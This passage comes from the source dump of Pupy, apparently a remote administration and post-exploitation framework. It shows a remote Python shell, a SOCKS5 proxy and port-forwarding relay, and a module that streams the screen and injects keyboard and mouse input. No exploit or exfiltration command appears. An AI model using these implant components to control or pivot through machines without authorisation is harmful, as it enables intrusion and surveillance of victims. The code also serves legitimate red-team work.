        return False, 'The zipped file does not have a valid zip format: \"%s\"' % src


def list(src):
    src = try_unicode(src)
    if not os.path.exists(src):
        return False, "The file \"%s\" does not exists" % src

    if zipfile.is_zipfile(src):
        with zipfile.ZipFile(src, "r") as z:
            return True, [
                (
                    i.filename, i.file_size,
                ) for i in z.infolist()
            ]
    else:
        return False, 'The zipped file does not have a valid zip format: \"%s\"' % src


================================================
FILE: pupy/packages/all/pyshell/PythonCompleter.py
================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = ('PythonCompleter',)

import re
import inspect

try:
    import keyword
except ImportError:
    keyword = None

from pupy.network.lib.convcompat import as_native_string


class PythonCompleter(object):
    __slots__ = (
        'local_ns', 'global_ns', 'matches'
    )

    def __init__(self, local_ns=None, global_ns=None):
        if local_ns is not None:
            self.local_ns = local_ns
        else:
            self.local_ns = {}

        if global_ns is not None:
            self.global_ns = global_ns
        else:
            self.global_ns = globals()

        self.matches = ()

    def complete(self, text, state):
        text = as_native_string(text)

        if state == 0:
            if '.' in text:
                self.matches = tuple(self.attr_matches(text))
            else:
                self.matches = tuple(self.var_matches(text))

        try:
            return self.matches[state]

        except IndexError:
            return None

    def var_matches(self, text):
        m = re.match(r'\s*(\w+)', text)

        if not m:
            return []

        text = m.group(1)

        words = [
            x for x in self.local_ns if x.startswith(text)
        ]

        if keyword is not None:
            words.extend(
                x for x in keyword.kwlist if x.startswith(text)
            )

        if '__builtins__' in words:
            words.remove('__builtins__')

        return words

    def attr_matches(self, text):
        '''
        Compute matches when text contains a dot.

        Assuming the text is of the form NAME.NAME....[NAME], and is
        evaluatable in self.namespace, it will be evaluated and its attributes
        (as revealed by dir()) are used as possible completions.  (For class
        instances, class members are also considered.)

        WARNING: this can still invoke arbitrary C code, if an object
        with a __getattr__ hook is evaluated.
        '''

        bsw = "[a-zA-Z0-9_\\(\\)\\[\\]\"']"

        m = re.match(r'(\w+(\.\w+)*)\.(\w*)'.replace(r'\w', bsw), text)
        if not m:
            return []

        expr, attr = m.group(1, 3)

        chain = expr.split('.')
        thisobject = None

        while chain:
            thisobject_name = chain.pop(0)
            if thisobject_name is None:
                break

            if thisobject is None:
                thisobject = self.local_ns.get(thisobject_name)
                if thisobject is None:
                    return []
            else:
                try:
                    thisobject = object.__getattribute__(
                        thisobject, thisobject_name
                    )
                except AttributeError:
                    return []

        if thisobject is None:
            return []

        words = [
            name for name, value in inspect.getmembers(thisobject)
        ]

        matches = []

        n = len(attr)

        for word in words:
            if attr and word[:n] != attr:
                continue

            value = object.__getattribute__(thisobject, word)

            try:
                object.__getattribute__(value, '__call__')
                word += '('
            except AttributeError:
                pass

            matches.append(expr + '.' + word)

        return matches


def get_class_members(klass):
    ret = dir(klass)

    if hasattr(klass, '__bases__'):
        for base in klass.__bases__:
            ret.extend(get_class_members(base))

    return ret


================================================
FILE: pupy/packages/all/pyshell/__init__.py
================================================


================================================
FILE: pupy/packages/all/pyshell/controller.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file
# at the root of the project for the detailed licence terms

from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals

import code

from . import PythonCompleter


def new_exit(*args, **kwargs):
    print("use ctrl+D to exit the interactive python interpreter.")


class PyShellController(object):
    __slots__ = (
        '_local_ns', 'console', 'completer'
    )

    def __init__(self):
        self._local_ns = {
            'exit': new_exit
        }

        self.console = code.InteractiveConsole(self._local_ns)
        self.completer = PythonCompleter.PythonCompleter(
            global_ns=globals(), local_ns=self._local_ns
        ).complete

    def write(self, line):
        self.console.push(line)

    def get_completer(self):
        return self.completer


================================================
FILE: pupy/packages/all/pyuvproxy.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys
import pyuv
import struct
import os

os.putenv('UV_THREADPOOL_SIZE', '1')

from netaddr import IPAddress
from threading import Thread, Lock

from socket import inet_ntop
from socket import AF_INET, AF_INET6

from collections import namedtuple

if sys.version_info.major > 2:
    from queue import Queue, Empty
    xrange = range
    basestring = str
    ints = int

    def bval(x):
        return x
else:
    from Queue import Queue, Empty
    ints = (int, long)

    def bval(x):
        return ord(x)

import socket
import errno
import uuid

from pupy.network.lib.pupyrpc import nowait
from pupy.network.lib import getLogger

logger = getLogger('pyuvproxy')


class Context(object):
    __slots__ = (
        'buffer', 'stage', 'header'
    )

    def __init__(self, buffer=None, stage=0, header=b''):
        self.buffer = buffer or list()
        self.stage = stage
        self.header = header

    def __repr__(self):
        return 'Context({}, {}, {})'.format(
            repr(self.buffer), repr(self.stage), repr(self.header)
        )


CODE_SUCCEEDED, CODE_GENERAL_SRV_FAILURE, CODE_CONN_NOT_ALLOWED, \
    CODE_NET_NOT_REACHABLE, CODE_HOST_UNREACHABLE, CODE_CONN_REFUSED, \
    CODE_TTL_EXPIRED, CODE_COMMAND_NOT_SUPPORTED, \
    CODE_ADDRESS_TYPE_NOT_SUPPORTED, CODE_UNASSIGNED = xrange(10)

ERRNO_TO_SOCKS5 = {
    errno.ECONNREFUSED: CODE_CONN_REFUSED,
    errno.ETIMEDOUT: CODE_CONN_REFUSED,
    errno.EACCES: CODE_CONN_NOT_ALLOWED,
    errno.EAFNOSUPPORT: CODE_ADDRESS_TYPE_NOT_SUPPORTED,
    errno.EPROTOTYPE: CODE_ADDRESS_TYPE_NOT_SUPPORTED,
    errno.EFAULT: CODE_GENERAL_SRV_FAILURE,
    errno.ENETUNREACH: CODE_NET_NOT_REACHABLE,
    -1: CODE_CONN_REFUSED
}

CMD_CONNECT, CMD_BIND, CMD_UDP_ASSOCIATE = xrange(1, 4)

METHOD_NO_AUTH, METHOD_GSSAPI, METHOD_PASSWORD, METHOD_IANA = xrange(4)
METHOD_RESERVED = 0x80
METHOD_NO_ACCEPTABLE_METHOD = 0xFF

ADDR_IPV4, _, ADDR_HOSTNAME, ADDR_IPV6 = xrange(1, 5)


def get_id():
    return '{:012x}'.format(uuid.getnode())


class RpycCommunicationFailed(EOFError):
    pass


class NeighborIsNotExists(ValueError):
    pass


class ConnectionIsNotExists(ValueError):
    pass


class ResourceIsUsed(ValueError):
    pass


class ResourceIsNotExists(ValueError):
    pass


class UndefinedType(ValueError):
    pass


class ChannelIsNotReady(ValueError):
    pass


class Connection(object):
    __slots__ = (
        'neighbor', 'loop', 'virtual_ports',
        'socket', 'local_id', 'remote_id', 'remote_local_address',
        'buffer', 'socks5', 'timer', 'timeout', 'resolving', 'peername'
    )

    def __init__(self, neighbor, remote_id=None, socket=None, buffer=None, socks5=False, timeout=5, peername=None):
        self.neighbor = neighbor
        self.loop = self.neighbor.manager.loop
        self.virtual_ports = self.neighbor.virtual_ports
        self.socket = socket
        self.local_id = hash(self)
        self.remote_id = remote_id
        self.remote_local_address = None
        self.buffer = None
        self.socks5 = socks5
        self.timer = pyuv.Timer(self.loop)
        self.timeout = timeout
        self.resolving = None
        self.peername = peername

    def __repr__(self):
        return 'PYUVC:{}:{}{}'.format(
            self.local_id, self.remote_id,
            '' if not self.peername else ':'+self.peername
        )

    def _connection_timeout(self, handle):
        try:
            if self.resolving:
                self.resolving.cancel()
        except:
            pass

        try:
            handle.stop()
        except:
            pass

        self.close(-1, mutual=self.remote_id is not None)

    def register_remote_id(self, remote_id):
        self.remote_id = remote_id

    def on_connected(self, local_address, error):
        if error:
            try:
                if self.socks5:
                    self.socket.write(
                        struct.pack(
                            'BB', 0x5, ERRNO_TO_SOCKS5.get(
                                error, CODE_GENERAL_SRV_FAILURE)
                        ) + self.socks5[2:])
            except:
                pass

            finally:
                self.close(error, mutual=False)
        else:
            try:
                if self.socks5:
                    ipaddr, port = local_address
                    if not isinstance(ipaddr, str) and \
                            isinstance(ipaddr, bytes):
                        ipaddr = ipaddr.decode('ascii')

                    ipaddr = IPAddress(ipaddr)
                    self.socket.write(
                        struct.pack(
                            'BBBB', 0x5,
                            0, 0,
                            ADDR_IPV4 if ipaddr.version == 4 else ADDR_IPV6
                        ) + ipaddr.packed + struct.pack('>H', port))

                if self.buffer:
                    self._on_read_data(self.socket, self.buffer, None)

                self.forward()

            except:
                self.close(-1)

    def on_data(self, data):
        if not self.socket:
            logger.debug(
                'Connections(%s) - socket=%s - Not ready',
                self, self.socket
            )
            raise ChannelIsNotReady(self)

        self.socket.write(data, self._on_send_complete)

    def _on_send_complete(self, handle, error):
        if error:
            self.close(error)

    def on_disconnect(self, reason):
        if not self.socket:
            raise ChannelIsNotReady(self)

        self.close(reason, mutual=False)

    def _on_read_data(self, handle, data, error):
        if data:
            try:
                self.neighbor.callbacks.on_data(
                    self.neighbor.remote_id,
                    self.remote_id,
                    data
                )
            except EOFError:
                self.neighbor.stop(dead=True)
            except:
                self.close(-1)
                raise
        else:
            self.close(error)

    def _on_connected(self, handle, error):
        logger.debug('Connection(%s) - _on_connected (%s)', self, error)

        try:
            if self.timer:
                self.timer.stop()
                self.timer.close()
                self.timer = None
        except:
            pass

        try:
            self.neighbor.callbacks.on_connected(
                self.neighbor.remote_id,
                self.remote_id,
                self.socket.getsockname() if not error else None,
                error=error
            )
            if error:
                try:
                    logger.debug(
                        'Connection(%s) - _on_connected - error: %s',
                        self, error
                    )
                    self.socket.close()
                except:
                    pass

            else:
                logger.debug('Connection(%s) - _on_connected - forward', self)
                self.forward()

        except EOFError:
            self.neighbor.stop(dead=True)

    def _virtual_connect(self, port):
        try:
            logger.debug(
                'Connection(%s) - _virtual_connect(%s)', self, port
            )

            self.socket = self.virtual_ports.connect(port, self.peername)

            logger.debug(
                'Connection(%s) - _virtual_connect(%s) - socket:%s',
                self, port, self.socket
            )
            self._on_connected(self.socket, None)

            logger.debug(
                'Connection(%s) - _virtual_connect(%s) - completed',
                self, port
            )
        except Exception as e:
            logger.exception(
                'Connection(%s) - _virtual_connect(%s) - exception', self, port
            )
            self._on_connected(None, e)

    def connect(self, address, dns, bind):
        if address and isinstance(address, tuple):
            if not isinstance(address[0], str) and \
                    isinstance(address[0], bytes):
                address = (
                    address[0].decode('utf-8'), address[1]
                )

            if address[0] == '254.254.254.254':
                self._virtual_connect(address[1])
                return

        try:
            self.timer.start(self._connection_timeout, self.timeout, 0)

            if isinstance(address, basestring):
                self.socket = pyuv.Pipe(self.loop, True)
                self.socket.getsockname = lambda: ''

                if os.name == 'nt':
                    self.socket.connect(address, self._on_connected)
                else:
                    if address[0] == '@':
                        address = '\0' + address[1:]
                    fd = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM, 0)
                    try:
                        fd.setblocking(0)
                        self.socket.open(os.dup(fd.fileno()))
                    except:
                        fd.close()
                        self._on_connected(None, -1)

                self.socket.connect(address, self._on_connected)
            else:
                self.socket = pyuv.TCP(self.loop)
                if bind:
                    if isinstance(bind, ints):
                        bind = ('0.0.0.0', bind)
                    elif isinstance(bind, tuple):
                        if not isinstance(bind[0], str) and \
                                isinstance(bind[0], bytes):
                            bind = (
                                bind[0].decode('utf-8'),
                                bind[1]
                            )
                    try:
                        self.socket.bind(bind)
                    except:
                        pass

                if dns and len(address) == 2:
                    host, port = address
                    self.resolving = pyuv.dns.getaddrinfo(
                        self.loop,
                        host, port,
                        0, 0, socket.IPPROTO_TCP,
                        callback=self._on_resolved
                    )
                else:
                    self.socket.connect(address, self._on_connected)

        except:
            self._on_connected(None, -1)

    def _on_resolved(self, address, error):
        if error or not address:
            self._on_connected(None, -1)
        else:
            self.socket.connect(address[0][4], self._on_connected)

    def forward(self):
        self.socket.start_read(self._on_read_data)

    def close(self, reason, mutual=True):
        unregistered = False
        if mutual:
            try:
                self.neighbor.callbacks.on_disconnect(
                    self.neighbor.remote_id,
                    self.remote_id,
                    reason
                )

            except EOFError:
                self.neighbor.stop(dead=True)
                unregistered = True

        try:
            self.socket.close()
        except:
            pass

        try:
            if self.timer:
                self.timer.stop()
        except:
            pass

        if not unregistered:
            self.neighbor.unregister_connection(self)


class Acceptor(object):
    def __init__(
        self, neighbor, local_address,
            forward_address=None, bind_address=None):

        self.neighbor = neighbor
        self.loop = self.neighbor.manager.loop
        self.local_address = local_address
        self.forward_address = forward_address
        self.bind_address = bind_address
        self.associaction = {}
        if isinstance(local_address, basestring):
            self.socket = pyuv.Pipe(self.loop, True)
        else:
            self.socket = pyuv.TCP(self.loop)

    def start(self):
        if not os.name == 'nt' and type(self.socket) == pyuv.Pipe:
            try:
                fd = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM, 0)
                if self.local_address[0] == '@':
                    self.local_address = '\0' + self.local_address[1:]
                fd.bind(self.local_address)
                fd.setblocking(0)
                self.socket.open(os.dup(fd.fileno()))
            finally:
                fd.close()
        else:
            self.socket.bind(self.local_address)

        self.socket.listen(self._on_connection)

    def _on_connection(self, handle, error):
        if error:
            logger.error('_on_connection: %s', error)
            return

        if type(self.socket) == pyuv.TCP:
            client = pyuv.TCP(self.loop)
        else:
            client = pyuv.Pipe(self.loop, True)

        self.socket.accept(client)

        if self.forward_address:
            self.on_connection(client)
        else:
            context = Context()
            client.start_read(
                lambda handle, data, error: self._socks5_read(
                    handle, data, error, context
                ))

    def _socks5_read(self, handle, data, error, context):
        if data:
            context.buffer.append(data)
            packet = b''.join(context.buffer)

            if context.stage == 0:
                if len(packet) < 2:
                    return

                try:
                    ver, nmethods = struct.unpack_from('BB', packet)
                except:
                    handle.close()
                    return

                if ver != 5:
                    handle.close()
                    return

                if len(packet) < 2 + nmethods:
                    return

                try:
                    methods = struct.unpack_from('B'*nmethods, packet[2:])
                except:
                    handle.close()
                    return

                if METHOD_NO_AUTH not in methods:
                    handle.write(
                        struct.pack('BB', 0x5, METHOD_NO_ACCEPTABLE_METHOD),
                        lambda handle, error: handle.close()
                    )
                    return
                else:
                    handle.write(
                        struct.pack('BB', 0x5, METHOD_NO_AUTH)
                    )
                    context.stage += 1
                    context.buffer = []

            elif context.stage == 1:
                if len(packet) < 4 + 2:
                    return

                try:
                    ver, cmd, rsv, atyp = struct.unpack_from('BBBB', packet)
                except:
                    handle.close()
                    return

                if not all([
                    ver == 5,
                    cmd in (CMD_BIND, CMD_CONNECT, CMD_UDP_ASSOCIATE),
                    rsv == 0,
                    atyp in (ADDR_IPV4, ADDR_HOSTNAME, ADDR_IPV6)
                ]):
                    handle.close()
                    return

                addr_offt = 0
                addr_len = 0

                dns = False

                if atyp == ADDR_IPV4:
                    addr_len = 4
                elif atyp == ADDR_IPV6:
                    addr_len = 16
                elif atyp == ADDR_HOSTNAME:
                    addr_len = bval(packet[4])
                    addr_offt = 1
                    dns = True

                if len(packet) < 4 + 2 + addr_len + addr_offt:
                    return

                context.header = packet

                dst_addr = packet[4+addr_offt:4+addr_offt+addr_len]
                dst_port = packet[4+addr_offt+addr_len:4+addr_offt+addr_len+2]

                if atyp == ADDR_IPV4:
                    dst_addr = inet_ntop(AF_INET, dst_addr)
                elif atyp == ADDR_IPV6:
                    dst_addr = inet_ntop(AF_INET6, dst_addr)

                try:
                    dst_port = struct.unpack('>H', dst_port)[0]
                except:
                    handle.close()
                    return

                handle.stop_read()

                self.on_connection(
                    handle, (dst_addr,
                             dst_port), socks5=context.header, dns=dns
                )
        else:
            handle.close()

    def on_connection(
        self, client, address=None, buffer=None,
            socks5=None, dns=False):

        address = address or self.forward_address
        bind = self.bind_address

        peername = client.getpeername()
        if type(peername) in (tuple, list):
            peername = '{}:{}'.format(*peername)
        elif not type(peername) is str:
            peername = str(peername)

        logger.debug('Connection from %s', peername)

        connection = Connection(
            self.neighbor, socket=client, buffer=buffer,
            socks5=socks5, peername=peername
        )

        self.neighbor.register_connection(connection)

        try:
            remote_id_promise = self.neighbor.callbacks.create_connection(
                self.neighbor.remote_id,
                connection.local_id,
                peername
            )

        except EOFError:
            self.neighbor.stop(dead=True)
            return

        self.neighbor.manager.defer(
            self._deferred_on_connection,
            connection, address, dns, bind, remote_id_promise
        )

    def _deferred_on_connection(
        self, connection, address, dns,
            bind, remote_id_promise):

        if remote_id_promise.expired:
            logger.debug('on_connection promise expiration')
            self.neighbor.stop(dead=True)
            return

        elif remote_id_promise.error:
            logger.debug('on_connection promise error')
            self.neighbor.stop(dead=True)
            return

        elif not remote_id_promise.ready:
            self.neighbor.manager.defer(
                self._deferred_on_connection,
                connection, address, dns, bind, remote_id_promise
            )
            return

        remote_id = remote_id_promise.value

        connection.register_remote_id(remote_id)

        try:
            self.neighbor.callbacks.connect(
                self.neighbor.remote_id,
                connection.remote_id,
                address,
                dns,
                bind
            )

        except EOFError:
            self.neighbor.stop(dead=True)

    def close(self):
        if type(self.socket) == pyuv.Pipe:
            try:
                if os.path.exists(self.local_address):
                    os.unlink(self.local_address)
            except:
                pass

        self.socket.close()
        self.neighbor.unregister_acceptor(self)


class Callbacks(object):
    def __init__(self, ref):
        self.create_connection = nowait(ref['create_connection'])
        self.connect = nowait(ref['connect'])
        self.on_connected = nowait(ref['on_connected'])
        self.on_data = nowait(ref['on_data'])
        self.on_disconnect = nowait(ref['on_disconnect'])


class Neighbor(object):
    def __init__(self, manager, callbacks, virtual_ports):
        self.manager = manager
        self.callbacks = Callbacks(callbacks)
        self.connections = {}
        self.acceptors = {}
        self.local_id = None
        self.remote_id = None
        self.virtual_ports = virtual_ports

    def stop(self, dead=False):
        acceptors = list(self.acceptors)
        for path_or_port in acceptors:
            acceptor = self.acceptors[path_or_port]
            acceptor.close()

        connections = list(self.connections)
        for connection in connections:
            self.connections[
                connection
            ].close(-1, mutual=not dead)

        try:
            del self.manager.neighbors[self.local_id]
        except KeyError:
            pass

    def pair(self, local_id, remote_id):
        self.local_id = local_id
        self.remote_id = remote_id

    def get_connection(self, connection_id):
        if connection_id not in self.connections:
            raise ConnectionIsNotExists(connection_id)

        return self.connections[connection_id]

    def create_connection(self, remote_id=None, peername=None):
        connection = Connection(
            self, remote_id=remote_id, peername=peername
        )
        self.register_connection(connection)
        return connection.local_id

    def register_connection(self, connection):
        self.connections[connection.local_id] = connection

    def unregister_connection(self, connection):
        if connection.local_id in self.connections:
            del self.connections[connection.local_id]

    def register_acceptor(self, acceptor, path_or_port):
        self.acceptors[path_or_port] = acceptor

    def unregister_acceptor(self, acceptor_or_path_or_port):
        if isinstance(acceptor_or_path_or_port, (basestring, int)):
            try:
                self.acceptors[acceptor_or_path_or_port].close()
                return True
            except:
                return False
        else:
            for k in list(self.acceptors):
                if self.acceptors[k] == acceptor_or_path_or_port:
                    del self.acceptors[k]
                    return True

        return False

    def uses_port(self, path_or_port):
        return path_or_port in self.acceptors


class VirtualSocket(object):
    __slots__ = (
        'port', 'on_close', 'on_data',
        'on_start_read', 'on_incoming_data',
        'address'
    )

    def __init__(self, port, on_start_read, on_data, on_close, address=None):
        self.port = port
        self.on_close = on_close
        self.on_data = on_data
        self.on_start_read = on_start_read
        self.address = address

        logger.debug('VirtualSocket(%s) - allocated', self)

    def __repr__(self):
        return 'PYUVVS:{}:{}'.format(id(self), self.port)

    def close(self):
        logger.debug('VirtualSocket(%s) - closing', self)

        self.on_close()
        self.on_start_read = None

        logger.debug('VirtualSocket(%s) - closed', self)

    def write(self, data, on_complete):
        logger.debug(
            'VirtualSocket(%s) - writing (%s)', self, len(data))

        try:
            self.on_data(data)
            on_complete(self, None)
        except Exception as e:
            logger.debug(
                'VirtualSocket(%s) - write - exception: %s', self, e)
            on_complete(self, -1)

        logger.debug('VirtualSocket(%s) - written', self)

    def start_read(self, cb):
        logger.debug('VirtualSocket(%s) - activating (cb=%s)', self, cb)
        self.on_start_read(self.address, cb)
        logger.debug('VirtualSocket(%s) - activated', self)

    def getsockname(self):
        return self.address or ('254.254.254.254', self.port)


class VirtualPortsManager(object):
    __slots__ = ('lock', 'ports')

    def __init__(self):
        self.lock = Lock()
        self.ports = {}

    def connect(self, port, peername):
        if port not in self.ports:
            raise ValueError('Port {} is not registered'.format(port))

        logger.debug('VirtualPortsManager: connect(%s)', port)

        try:
            create_connection_cb = self.ports[port]
            on_start_read, on_data, on_close = create_connection_cb(peername)
        except Exception as e:
            logger.exception(e)
            raise

        logger.debug('VirtualPortsManager: connect(%s) - socket created', port)
        return VirtualSocket(port, on_start_read, on_data, on_close)

    def register(self, port, create_cb):
        if port in self.ports:
            raise ValueError('Port {} already registered'.format(port))

        logger.debug('VirtualPortsManager: register(%s)', port)
        self.ports[port] = create_cb

    def unregister(self, port):
        if port not in self.ports:
            raise ValueError('Port {} is not registered'.format(port))

        logger.debug('VirtualPortsManager: unregister(%s)', port)
        del self.ports[port]

    def destroy(self):
        for port in list(self.ports):
            self.unregister(port)


class Manager(Thread):
    def __init__(self):
        super(Manager, self).__init__()
        self.loop = pyuv.Loop()
        self.neighbors = {}
        self.daemon = True
        self.wake = pyuv.Async(self.loop, self.sync)
        self.queue = Queue()

        self.virtual_ports = VirtualPortsManager()

    def register_virtual_port(self, port, create_virtual_connection_cb):
        logger.debug('Manager: Register virtual port: %s', port)
        self.virtual_ports.register(port, create_virtual_connection_cb)

    def unregister_virtual_port(self, port):
        logger.debug('Manager: Unregister virtual port: %s', port)
        self.virtual_ports.unregister(port)

    def sync(self, handle):
        while True:
            try:
                method, args = self.queue.get_nowait()
            except Empty:
                break

            try:
                method(*args)
            except Exception as e:
                logger.exception(
                    'Defered call exception: %s (ignored)', e)

    def defer(self, method, *args):
        self.queue.put((method, args))
        try:
            self.wake.send()
        except pyuv.error.HandleClosedError:
            pass

    def _stop(self, dead):
        for neighbor_id in list(self.neighbors):
            self.neighbors[neighbor_id].stop(dead=dead)

        self.wake.close()

        for handle in self.loop.handles:
            if not handle.closed:
                handle.close()

        self.loop.stop()

    def stop(self, dead=False):
        self.defer(self._stop, dead)

    def force_stop(self):
        self.stop(dead=True)

    def run(self):
        try:
            self.loop.run()
        except:
            raise

    def get_neighbor(self, neighbor_id):
        if neighbor_id not in self.neighbors:
            raise NeighborIsNotExists(neighbor_id)

        return self.neighbors[neighbor_id]

    def _bind(self, neighbor_id, local_address, forward, bind):
        neighbor = self.get_neighbor(neighbor_id)
        acceptor = Acceptor(
            neighbor,
            local_address=local_address,
            forward_address=forward,
            bind_address=bind
        )

        if isinstance(local_address, basestring):
            neighbor.register_acceptor(acceptor, local_address)
        else:
            host, port = local_address
            neighbor.register_acceptor(acceptor, port)

        acceptor.start()

    def bind(
        self, neighbor_id, local_address=('127.0.0.1', 8080),
            forward=None, bind=None):

        logger.debug(
            'Manager: bind(%s, %s, %s, %s)',
            neighbor_id, local_address, forward, bind
        )

        self.defer(self._bind, neighbor_id, local_address, forward, bind)

    def unbind(self, path_or_port):
        logger.debug('Manager: unbind(%s)', path_or_port)

        for neighbor in self.neighbors.values():
            if neighbor.unregister_acceptor(path_or_port):
                return True

        return False

    def get_connection(self, neighbor_id, connection_id):
        neighbor = self.get_neighbor(neighbor_id)
        return neighbor.get_connection(connection_id)

    def create_connection(self, neighbor_id, remote_id=None, peername=None):
        logger.debug(
            'Manager: create_connection(%s, %s, %s)',
            neighbor_id, remote_id, peername
        )

        return self.get_neighbor(
            neighbor_id
        ).create_connection(
            remote_id=remote_id,
            peername=peername
        )

    def connect(self, neighbor_id, connection_id, address, dns, bind=None):
        logger.debug(
            'Manager: connect(%s, %s, %s, %s, %s)',
            neighbor_id, connection_id, address, dns, bind
        )

        self.defer(
            self.get_neighbor(
                neighbor_id
            ).get_connection(
                connection_id
            ).connect,
            address,
            dns,
            bind
        )

    def forward(self, neighbor_id, connection_id):
        logger.debug(
            'Manager: forward(%s, %s)',
            neighbor_id, connection_id
        )

        self.defer(
            self.get_neighbor(
                neighbor_id
            ).get_connection(
                connection_id
            ).forward
        )

    def on_connected(self, neighbor_id, connection_id, local_address, error=None):
        logger.debug(
            'Manager: on_connected(%s, %s, %s, %s)',
            neighbor_id, connection_id, local_address, error
        )

        self.defer(
            self.get_neighbor(
                neighbor_id
            ).get_connection(
                connection_id
            ).on_connected,
            local_address, error
        )

    def on_data(self, neighbor_id, connection_id, data):
        logger.debug(
            'Manager: on_data(%s, %s, %s)',
            neighbor_id, connection_id, len(data)
        )

        self.defer(
            self.get_neighbor(
                neighbor_id
            ).get_connection(
                connection_id
            ).on_data,
            data
        )

    def on_disconnect(self, neighbor_id, connection_id, reason=None):
        logger.debug(
            'Manager: on_disconnect(%s, %s, %s)',
            neighbor_id, connection_id, reason
        )

        neighbor = self.get_neighbor(
            neighbor_id
        )

        try:
            connection = neighbor.get_connection(
                connection_id
            )

            self.defer(
                connection.on_disconnect,
                reason
            )
        except (ConnectionIsNotExists, ChannelIsNotReady):
            pass

    def get_callbacks(self):
        return {
            'create_connection': self.create_connection,
            'connect': self.connect,
            'on_connected': self.on_connected,
            'on_data': self.on_data,
            'on_disconnect': self.on_disconnect
        }

    def create_neighbor(self, callbacks):
        neighbor = Neighbor(self, callbacks, self.virtual_ports)
        neighbor_id = hash(neighbor)
        self.neighbors[neighbor_id] = neighbor
        return neighbor_id

    def assign_pair_ids(self, local_id, remote_id):
        if local_id not in self.neighbors:
            raise NeighborIsNotExists(local_id)

        self.neighbors[local_id].pair(local_id, remote_id)

    def pair(self, remote_manager):
        remote_id = remote_manager.create_neighbor(self.get_callbacks())
        local_id = self.create_neighbor(remote_manager.get_callbacks())

        remote_manager.assign_pair_ids(remote_id, local_id)
        self.assign_pair_ids(local_id, remote_id)

        return remote_id, local_id

    def _unpair(self, local_id, dead):
        if local_id not in self.neighbors:
            raise NeighborIsNotExists(local_id)

        self.neighbors[local_id].stop(dead=dead)

    def unpair(self, local_id, dead=False):
        self.defer(self._unpair, local_id, dead)

    def list(self, filter_by_local_id=None):
        results = []
        if filter_by_local_id:
            if filter_by_local_id not in self.neighbors:
                return

            neighbor = self.neighbors[filter_by_local_id]
            for port, acceptor in neighbor.acceptors.items():
                results.append([port, acceptor.forward_address or 'socks5'])
        else:
            for neighbor in self.neighbors.values():
                for port, acceptor in neighbor.acceptors.items():
                    results.append(
                        [port, acceptor.forward_address or 'socks5'])

        return results


class PairState(object):
    def __init__(self):
        self.local = None
        self.remote = None
        self.local_id = None
        self.remote_id = None

    def get(self):
        return self.local, self.remote, self.local_id, self.remote_id

    def cleanup(self):
        try:
            if self.local:
                self.local.unpair(self.local_id, dead=True)
        except (ResourceIsNotExists, NeighborIsNotExists):
            pass
        finally:
            self.local = None


class ManagerState(object):
    def __init__(self):
        self.manager = None

    def cleanup(self):
        try:
            if self.manager:
                self.manager.stop()
        except (ResourceIsNotExists, NeighborIsNotExists):
            pass
        finally:
            self.manager = None


================================================
FILE: pupy/packages/all/rdesktop.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import mss
import threading
import time

from png import bmp_to_png
from pupy.network.lib.pupyrpc import nowait

try:
    import keyboard
    from keyboard import mouse
    remote_control = True
except:
    remote_control = False


class VideoStreamer(threading.Thread):
    def __init__(self, callback, refresh_interval=0.1):
        threading.Thread.__init__(self)
        self.stopped = threading.Event()
        self.refresh_interval = refresh_interval
        self.callback = callback
        self.daemon = True

    def run(self):
        screenshoter = mss.mss()
        monitors = screenshoter.monitors
        if len(monitors) > 1:
            del monitors[0]

        monitor = monitors[0]

        previous = None

        while not self.stopped.is_set():
            scr = screenshoter.grab(monitor)
            if scr != previous:
                previous = scr

                self.callback(
                    bmp_to_png(scr.rgb, scr.width, scr.height),
                    scr.width, scr.height)

            time.sleep(self.refresh_interval)

    def move(self, x, y):
        if not remote_control:
            raise "Remote control is not available"

        mouse.move(x, y)

    def click(self, x=None, y=None):
        if not remote_control:
            raise "Remote control is not available"

        if x is not None and y is not None:
            self.move(x, y)

        mouse.click()

    def kbd_send(self, *args, **kwargs):
        if not remote_control:
            raise "Remote control is not available"

        keyboard.send(*args, **kwargs)

    def kbd_write(self, *args, **kwargs):
        if not remote_control:
            raise "Remote control is not available"

        keyboard.write(*args, **kwargs)

    def key_press(self, c):
        if not remote_control:
            raise "Remote control is not available"

        keyboard.press(c)

    def key_release(self, c):
        if not remote_control:
            raise "Remote control is not available"

        keyboard.release(c)

    def stop(self):
        self.stopped.set()


def create_video_streamer(callback, quality):
    streamer = VideoStreamer(nowait(callback), quality)
    streamer.start()
    return streamer


================================================
FILE: pupy/packages/all/scandir.py
================================================
"""scandir, a better directory iterator and faster os.walk(), now in the Python 3.5 stdlib

scandir() is a generator version of os.listdir() that returns an
iterator over files in a directory, and also exposes the extra
information most OSes provide while iterating files in a directory
(such as type and stat information).

This module also includes a version of os.walk() that uses scandir()
to speed it up significantly.

See README.md or https://github.com/benhoyt/scandir for rationale and
docs, or read PEP 471 (https://www.python.org/dev/peps/pep-0471/) for
more details on its inclusion into Python 3.5

scandir is released under the new BSD 3-clause license. See
LICENSE.txt for the full license text.
"""

from __future__ import division
from __future__ import absolute_import
from __future__ import print_function
from __future__ import unicode_literals

from errno import ENOENT
from os import listdir, lstat, stat, strerror
from os.path import join, islink
from stat import S_IFDIR, S_IFLNK, S_IFREG

import collections
import sys

try:
    import _scandir
except ImportError:
    _scandir = None

try:
    import ctypes
except ImportError:
    ctypes = None

if _scandir is None and ctypes is None:
    import warnings
    warnings.warn("scandir can't find the compiled _scandir C module "
                  "or ctypes, using slow generic fallback")

if sys.version_info.major > 2:
    basestring = str

__version__ = '1.3'
__all__ = ['scandir', 'walk']

# Windows FILE_ATTRIBUTE constants for interpreting the
# FIND_DATA.dwFileAttributes member
FILE_ATTRIBUTE_ARCHIVE = 32
FILE_ATTRIBUTE_COMPRESSED = 2048
FILE_ATTRIBUTE_DEVICE = 64
FILE_ATTRIBUTE_DIRECTORY = 16
FILE_ATTRIBUTE_ENCRYPTED = 16384
